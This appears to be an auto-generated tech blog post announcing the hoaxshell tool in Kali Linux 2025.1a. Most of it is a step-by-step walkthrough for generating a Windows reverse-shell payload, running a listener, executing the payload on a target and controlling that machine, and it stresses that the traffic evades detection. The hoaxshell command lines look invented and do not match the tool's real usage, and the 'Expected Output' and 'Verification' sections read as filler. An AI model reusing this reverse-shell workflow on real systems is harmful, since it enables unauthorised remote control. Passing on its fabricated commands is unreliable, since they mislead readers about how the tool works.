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Kali Linux, the go-to operating system for penetration testers and cybersecurity professionals, has released its latest version, Kali Linux 2025.1a. This update introduces a new tool called hoaxshell, a Windows reverse shell payload generator and handler that abuses the HTTP(S) protocol to establish a beacon-like reverse shell. This tool is particularly useful for red teamers and ethical hackers who need to simulate advanced persistent threats (APTs) or test the resilience of their systems against sophisticated attacks.
What is hoaxshell?
hoaxshell is a powerful tool designed to generate and handle reverse shell payloads for Windows systems. It leverages the HTTP(S) protocol to create a stealthy communication channel between the attacker and the compromised system. This makes it difficult for traditional security solutions to detect the malicious traffic, as it blends in with regular web traffic.
You Should Know:
To get the most out of hoaxshell, here are some practical steps, commands, and codes to help you integrate it into your cybersecurity toolkit:
1. Installation:
- First, ensure you have the latest version of Kali Linux 2025.1a installed.
- Update your system using the following commands:
sudo apt update sudo apt upgrade -y
- Install hoaxshell using the Kali Linux package manager:
sudo apt install hoaxshell
2. Generating a Payload:
- Use hoaxshell to generate a reverse shell payload for a Windows target:
hoaxshell -g windows -o payload.exe
- This command generates a Windows executable (
payload.exe) that, when executed on the target machine, will establish a reverse shell connection back to your Kali Linux machine.
3. Setting Up the Listener:
- On your Kali Linux machine, set up a listener to handle incoming connections from the payload:
hoaxshell -l -p 8080
- This command starts a listener on port 8080, waiting for the target machine to connect.
4. Executing the Payload:
- Transfer the `payload.exe` file to the target Windows machine and execute it. Once executed, the target machine will establish a connection to your Kali Linux listener.
5. Interacting with the Reverse Shell:
- Once the connection is established, you can interact with the target machine’s command line directly from your Kali Linux terminal:
hoaxshell -i
- This allows you to execute commands on the target machine as if you were sitting in front of it.
6. Advanced Usage:
- hoaxshell supports various options for customization, such as encrypting the communication channel or using a custom domain for the HTTP(S) traffic. Refer to the official documentation for more advanced use cases:
hoaxshell --help
What Undercode Say:
hoaxshell is a valuable addition to the Kali Linux arsenal, especially for professionals focused on red teaming and penetration testing. Its ability to abuse the HTTP(S) protocol for stealthy communication makes it a formidable tool for simulating real-world attacks. However, it’s crucial to use this tool responsibly and only in environments where you have explicit permission to conduct testing.
To further enhance your cybersecurity skills, here are some additional Linux and Windows commands that complement the use of hoaxshell:
- Linux Commands:
netstat -tuln: Check open ports and listening services on your system.tcpdump -i eth0 -w capture.pcap: Capture network traffic for analysis.iptables -A INPUT -p tcp --dport 8080 -j ACCEPT: Allow incoming traffic on port 8080.Windows Commands:
netstat -an: Display active connections and listening ports.tasklist: List all running processes on the system.netsh firewall show state: Check the status of the Windows firewall.
Expected Output:
By following the steps and commands outlined above, you should be able to successfully generate a reverse shell payload, set up a listener, and establish a connection to a target Windows machine using hoaxshell. This tool is a testament to the continuous evolution of Kali Linux and its commitment to providing cutting-edge tools for cybersecurity professionals.
For more information, visit the official Kali Linux website: https://www.kali.org.
References:
Reported By: Hussein Aissaoui – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
